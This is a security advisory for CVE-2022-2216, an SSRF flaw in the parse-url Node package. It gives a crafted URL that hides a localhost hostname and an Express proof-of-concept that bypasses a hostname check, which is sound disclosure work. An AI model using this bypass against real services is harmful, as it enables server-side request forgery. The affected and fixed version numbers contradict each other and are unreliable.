Disclosed vulnerabilities
CVE-2022-2216 Published: Jul 21, 2022

SSRF via Improper Input Validation in ionicabizau/parse-url

9.8 Critical Severity ionicabizau/parse-url Server-Side Request Forgery SSRF
Pocas Reported by Checkmarx Zero

Summary

Hostname is not detected because of improper handling of username and password. (Based on real cases)

Product

ionicabizau/parse-url version 6.0.2 and prior to version 6.0.1

Steps to reproduce

    ❯ node -e 'const parseUrl = require("parse-url"); console.log(parseUrl("http://google:com:@@localhost"))'
    {
      protocols: [ 'http' ],
      protocol: 'http',
      port: null,
      resource: 'google:com:@@localhost',
      user: '',
      pathname: '',
      hash: '',
      search: '',
      href: 'http://google:com:@@localhost',
      query: [Object: null prototype] {}
    }

When receiving the above URL, the hostname is localhost, but it is not detected.

    const parseUrl = require("parse-url");
    const express = require('express');
    const http = require('http');
    const app = express();

    const isLocal = () => (req, res, next) => (req.connection.remoteAddress === '::ffff:127.0.0.1'|| req.connection.remoteAddress === '::1' ? true:false)
        ? next()
        : res.json({'state':'You're not locally'});

    parsed = parseUrl("http://google:com:@@127.0.0.1:9999/ssrf_check");
    console.log(parsed);

    app.get('/', (req, res) => {
        if(parsed.resource == '127.0.0.1'){
            res.send('Not good');
        } else{
            http.get(parsed.href)
            res.send('Good');
        }
    });

    app.get('/ssrf_check', isLocal(), (req, res) =>{
        console.log('ssrf bypass');
        res.send(true);
    });

    app.listen(9999);

The above PoC code forbids the use of 127.0.0.1 host. However, by using the above vulnerability, it is possible to bypass this and perform an SSRF attack.

Expected result:

Bypass hostname check (SSRF)

Remediation

Update ionicabizau/parse-url to version 6.0.1 or above 6.0.2.

Resources

  1. Commit
  2. Pull requests

Stay connected and never miss a research update!